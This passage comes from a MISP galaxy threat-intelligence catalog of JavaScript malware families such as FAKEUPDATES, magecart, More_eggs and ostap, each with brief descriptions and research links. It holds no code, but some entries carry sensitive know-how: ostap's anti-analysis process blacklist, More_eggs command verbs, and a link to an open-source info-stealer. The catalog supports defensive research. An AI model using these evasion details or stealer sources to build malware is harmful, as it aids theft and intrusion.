https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/
https://www.prevailion.com/darkwatchman-new-fileness-techniques/

DNSRat

The tag is: *misp-galaxy:malpedia="DNSRat"*

DNSRat is also known as:

- DNSbot

Table 1379. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

doenerium

Open sourced javascript info stealer, with the capabilities of stealing crypto wallets, password, cookies and modify discord clients https://github.com/doener2323/doenerium

The tag is: *misp-galaxy:malpedia="doenerium"*

doenerium is also known as:

Table 1380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.doenerium
https://twitter.com/0xToxin/status/1572612089901993985

Enrume

The tag is: *misp-galaxy:malpedia="Enrume"*

Enrume is also known as:

- Ransom32

Table 1381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.enrume
https://blog.emsisoft.com/de/21077/meet-ransom32-the-first-javascript-ransomware/

EVILNUM (Javascript)

The tag is: *misp-galaxy:malpedia="EVILNUM (Javascript)"*

EVILNUM (Javascript) is also known as:

Table 1382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum
http://blog.nsfocus.net/agentvxapt-evilnum/
https://github.com/eset/malware-ioc/tree/master/evilnum
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html
https://securelist.com/apt-trends-report-q3-2020/99204/
https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw
http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets
https://securelist.com/deathstalker-mercenary-triumvirate/98177/
https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf

FAKEUPDATES

FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT.

FAKEUPDATES has been heavily used by UNC1543,a financially motivated group.

The tag is: *misp-galaxy:malpedia="FAKEUPDATES"*

FAKEUPDATES is also known as:

- FakeUpdate
- SocGholish

Table 1383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates
https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends
https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html
https://www.menlosecurity.com/blog/increase-in-attack-socgholish
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/
https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html
https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt

https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems
https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://experience.mandiant.com/trending-evil/p/1
https://www.lac.co.jp/lacwatch/report/20220407_002923.html
https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm

GootLoader

The tag is: *misp-galaxy:malpedia="GootLoader"*

GootLoader is also known as:

Table 1384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader
https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/
https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader
https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/
https://community.riskiq.com/article/f5d5ed38
https://redcanary.com/blog/gootloader
https://experience.mandiant.com/trending-evil/p/1
https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/

https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf
https://dinohacks.blogspot.com/2022/06/loading-gootloader.html

grelos

grelos is a skimmer used for magecart-style attacks.

The tag is: *misp-galaxy:malpedia="grelos"*

grelos is also known as:

Table 1385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.grelos
https://www.riskiq.com/blog/labs/magecart-medialand/
https://community.riskiq.com/article/8c4b4a7a
https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745

Griffon

GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim's computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.

The tag is: *misp-galaxy:malpedia="Griffon"*

Griffon is also known as:

- Harpy

Table 1386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.mandiant.com/resources/evolution-of-fin7
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
https://twitter.com/ItsReallyNick/status/1059898708286939136

inter

The tag is: *misp-galaxy:malpedia="inter"*

inter is also known as:

Table 1387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.inter
https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html

Jeniva

The tag is: *misp-galaxy:malpedia="Jeniva"*

Jeniva is also known as:

Table 1388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jeniva
https://imp0rtp3.wordpress.com/2021/08/12/tetris/

Jetriz

The tag is: *misp-galaxy:malpedia="Jetriz"*

Jetriz is also known as:

Table 1389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jetriz
https://imp0rtp3.wordpress.com/2021/08/12/tetris/

jspRAT

The tag is: *misp-galaxy:malpedia="jspRAT"*

jspRAT is also known as:

Table 1390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jsprat
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators
https://www.mandiant.com/resources/fin13-cybercriminal-mexico

KopiLuwak

The tag is: *misp-galaxy:malpedia="KopiLuwak"*

KopiLuwak is also known as:

Table 1391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak
https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

LNKR

The tag is: *misp-galaxy:malpedia="LNKR"*

LNKR is also known as:

Table 1392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr
https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/

https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md
https://github.com/Zenexer/lnkr
https://www.riskiq.com/blog/labs/lnkr-browser-extension/

magecart

Magecart is a malware framework intended to steal credit card information from compromised eCommerce websites. Used in criminal activities, it's a sophisticated implant built on top of relays, command and controls and anonymizers used to steal eCommerce customers' credit card information. The first stage is typically implemented in Javascript included into a compromised checkout page. It copies data from "input fields" and send them to a relay which collects credit cards coming from a subset of compromised eCommerces and forwards them to Command and Control servers.

The tag is: *misp-galaxy:malpedia="magecart"*

magecart is also known as:

Table 1393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart
https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/
https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/
https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/
https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/
https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/
https://community.riskiq.com/article/743ea75b/description
https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf
https://sansec.io/research/north-korea-magecart

https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html
https://www.reflectiz.com/the-gocgle-web-skimming-campaign/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.goggleheadedhacker.com/blog/post/14
https://www.riskiq.com/blog/labs/magecart-nutribullet/
https://twitter.com/AffableKraut/status/1415425132080816133?s=20
https://twitter.com/MBThreatIntel/status/1416101496022724609
https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/
https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/
https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/
https://www.riskiq.com/blog/labs/magecart-medialand/
https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/
https://geminiadvisory.io/magecart-google-tag-manager/
https://community.riskiq.com/article/fda1f967
https://sansec.io/research/magento-2-persistent-parasite
https://community.riskiq.com/article/2efc2782
https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter
https://www.riskiq.com/blog/labs/magecart-group-12-olympics/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/
https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/
https://sansec.io/research/magecart-corona-lockdown
https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/
https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/
https://community.riskiq.com/article/017cf2e6
https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/
https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/
https://community.riskiq.com/article/30f22a00
https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/

https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/
https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html
https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/
https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/
https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/
https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218
https://community.riskiq.com/article/14924d61
https://community.riskiq.com/article/5bea32aa
https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://twitter.com/AffableKraut/status/1385030485676544001
https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf
https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/
https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html
https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html
https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/

MiniJS

MiniJS is a very simple JavaScript-based first-stage backdoor. The backdoor is probably distributed via spearphishing email. Due to infrastructure overlap, the malware can be attributed to the actor Turla. Comparable JavaScript-based backdoor families of the actor are KopiLuwak and IcedCoffee.

The tag is: *misp-galaxy:malpedia="MiniJS"*

MiniJS is also known as:

Table 1394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.minijs
https://www.virustotal.com/gui/file/0ce9aadf6a3ffd85d6189590ece148b2f9d69e0ce1c2b8eb61361eb8d0f98571/details

More_eggs

More_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more_eggs = download additional/new scripts - more_onion = run new script and terminate current script - more_power = run command shell commands

The tag is: *misp-galaxy:malpedia="More_eggs"*

More_eggs is also known as:

- SKID
- SpicyOmelette

Table 1395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://blog.morphisec.com/cobalt-gang-2.0
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish
https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire
https://www.secureworks.com/research/threat-profiles/gold-kingswood
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://expel.com/blog/more-eggs-and-some-linkedin-resume-spearphishing
https://attack.mitre.org/software/S0284/
https://asert.arbornetworks.com/double-the-infection-double-the-fun/
https://github.com/eset/malware-ioc/tree/master/evilnum
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw
https://twitter.com/Arkbird_SOLG/status/1301536930069278727

https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware
https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf

NanHaiShu

NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.

The tag is: *misp-galaxy:malpedia="NanHaiShu"*

NanHaiShu is also known as:

Table 1396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://attack.mitre.org/software/S0228/
https://community.spiceworks.com/topic/1028936-stealthy-cyberespionage-campaign-attacks-with-social-engineering

NodeRAT

The tag is: *misp-galaxy:malpedia="NodeRAT"*

NodeRAT is also known as:

Table 1397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.node_rat
https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf

https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/

ostap

Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:

AgentSimulator.exe anti-virus.EXE BehaviorDumper BennyDB.exe ctfmon.exe fakepos_bin FrzState2k gemu-ga.exe (Possible misspelling of Qemu hypervisor's guest agent, qemu-ga.exe) ImmunityDebugger.exe KMS Server Service.exe ProcessHacker procexp Proxifier.exe python tcpdump VBoxService VBoxTray.exe VmRemoteGuest vmtoolsd VMware2B.exe VzService.exe winace Wireshark

If a blacklisted process is found, the malware terminates.

Ostap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.

The tag is: *misp-galaxy:malpedia="ostap"*

ostap is also known as:

Table 1398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://malfind.com/index.php/2021/11/24/from-the-archive-1-ostap-dropper-deobfuscation-and-analysis/
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/
https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/
https://www.intrinsec.com/deobfuscating-hunting-ostap/
https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/

Parrot TDS

This malicious code written in JavaScript is used as Traffic Direction System (TDS). This TDS showes similarities to the Prometheus TDS. According to DECODED Avast.io this TDS has been active since October 2021.

The tag is: *misp-galaxy:malpedia="Parrot TDS"*

Parrot TDS is also known as:

Table 1399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.parrot_tds
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/

PeaceNotWar

PeaceNotWar was integrated into the nodejs module node-ipc as a piece of malware/protestware with wiper characteristics. It targets machines with a public IP address located in Russia and Belarus (using geolocation) and overwrites files recursively using a heart emoji.

The tag is: *misp-galaxy:malpedia="PeaceNotWar"*

PeaceNotWar is also known as:

Table 1400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar
https://www.bleepingcomputer.com/news/security/big-sabotage-famous-npm-package-deletes-files-to-protest-ukraine-war/
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers

Powmet

The tag is: *misp-galaxy:malpedia="Powmet"*

Powmet is also known as:

Table 1401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet

http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

QNodeService

According to Trend Micro, this is a Node.js based malware, that can download/upload/execute files, steal credentials from Chrome/Firefox browsers, and perform file management, among other things. It targets Windows and has components for both 32 and 64bit.

The tag is: *misp-galaxy:malpedia="QNodeService"*

QNodeService is also known as:

Table 1402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.qnodeservice
https://blog.trendmicro.com/trendlabs-security-intelligence/qnodeservice-node-js-trojan-spread-via-covid-19-lure/
https://www.telsy.com/wp-content/uploads/MAR_93433_WHITE.pdf

QUICKCAFE

QUICKCAFE is an encrypted JavaScript downloader for QUICKRIDE.POWER that exploits the ActiveX M2Soft vulnerabilities. QUICKCAFE is obfuscated using JavaScript Obfuscator.

The tag is: *misp-galaxy:malpedia="QUICKCAFE"*

QUICKCAFE is also known as:

Table 1403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.quickcafe
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

scanbox

The tag is: *misp-galaxy:malpedia="scanbox"*

scanbox is also known as:

Table 1404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/attacker-tracking-users-seeking-pakistani-passport/
http://resources.infosecinstitute.com/scanbox-framework/
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global
https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea
https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/

SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

The tag is: *misp-galaxy:malpedia="SQLRat"*

SQLRat is also known as:

Table 1405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/

Starfighter (Javascript)

According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.

The tag is: *misp-galaxy:malpedia="Starfighter (Javascript)"*

Starfighter (Javascript) is also known as:

Table 1406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.starfighter
https://github.com/Cn33liz/StarFighters

Swid

The tag is: *misp-galaxy:malpedia="Swid"*

Swid is also known as:

Table 1407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.swid
https://imp0rtp3.wordpress.com/2021/08/12/tetris/

HTML5 Encoding

The tag is: *misp-galaxy:malpedia="HTML5 Encoding"*

HTML5 Encoding is also known as:

Table 1408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/

Maintools.js

Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.

The tag is: *misp-galaxy:malpedia="Maintools.js"*

Maintools.js is also known as:

Table 1409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools
https://twitter.com/JohnLaTwC/status/915590893155098629

Unidentified JS 001 (APT32 Profiler)

The tag is: *misp-galaxy:malpedia="Unidentified JS 001 (APT32 Profiler)"*

Unidentified JS 001 (APT32 Profiler) is also known as:

Table 1410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_001
https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef
https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f

Unidentified JS 003 (Emotet Downloader)

According to Max Kersten, Emotet is dropped by a procedure spanned over multiple stages. The first stage is an office file that contains a macro. This macro then loads the second stage, which is either a PowerShell script or a piece of JavaScript, which is this family entry.

The tag is: *misp-galaxy:malpedia="Unidentified JS 003 (Emotet Downloader)"*

Unidentified JS 003 (Emotet Downloader) is also known as:

Table 1411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_003
https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/

Unidentified JS 004

A simple loader written in JavaScript found by Marco Ramilli.

The tag is: *misp-galaxy:malpedia="Unidentified JS 004"*

Unidentified JS 004 is also known as:

Table 1412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_004
https://marcoramilli.com/2020/11/27/threat-actor-unkown/

Unidentified JS 005 (Stealer)

The tag is: *misp-galaxy:malpedia="Unidentified JS 005 (Stealer)"*

Unidentified JS 005 (Stealer) is also known as:

Table 1413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_005
https://blogs.jpcert.or.jp/en/2021/07/water_pamola.html

Unidentified JS 002

The tag is: *misp-galaxy:malpedia="Unidentified JS 002"*

Unidentified JS 002 is also known as:

Table 1414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_js_002

Valak

The tag is: *misp-galaxy:malpedia="Valak"*

Valak is also known as:

- Valek

Table 1415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.valak
https://security-soup.net/analysis-of-valak-maldoc/
https://unit42.paloaltonetworks.com/valak-evolution/
https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497fdb79bf7
https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/
https://twitter.com/malware_traffic/status/1207824548021886977
https://blog.talosintelligence.com/2020/07/valak-emerges.html
https://unit42.paloaltonetworks.com/atoms/monsterlibra/
https://labs.sentinelone.com/valak-malware-and-the-connection-to-gozi-loader-confcrew/
https://www.cybereason.com/blog/valak-more-than-meets-the-eye
https://threatresearch.ext.hp.com/detecting-ta551-domains/

witchcoven

The tag is: *misp-galaxy:malpedia="witchcoven"*

witchcoven is also known as:

Table 1416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf

Godzilla Webshell

The tag is: *misp-galaxy:malpedia="Godzilla Webshell"*

Godzilla Webshell is also known as:

Table 1417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell
https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/

AppleJeus (OS X)

The tag is: *misp-galaxy:malpedia="AppleJeus (OS X)"*

AppleJeus (OS X) is also known as:

Table 1418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://securelist.com/operation-applejeus-sequel/95596/
https://objective-see.com/blog/blog_0x54.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a
https://objective-see.com/blog/blog_0x49.html
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

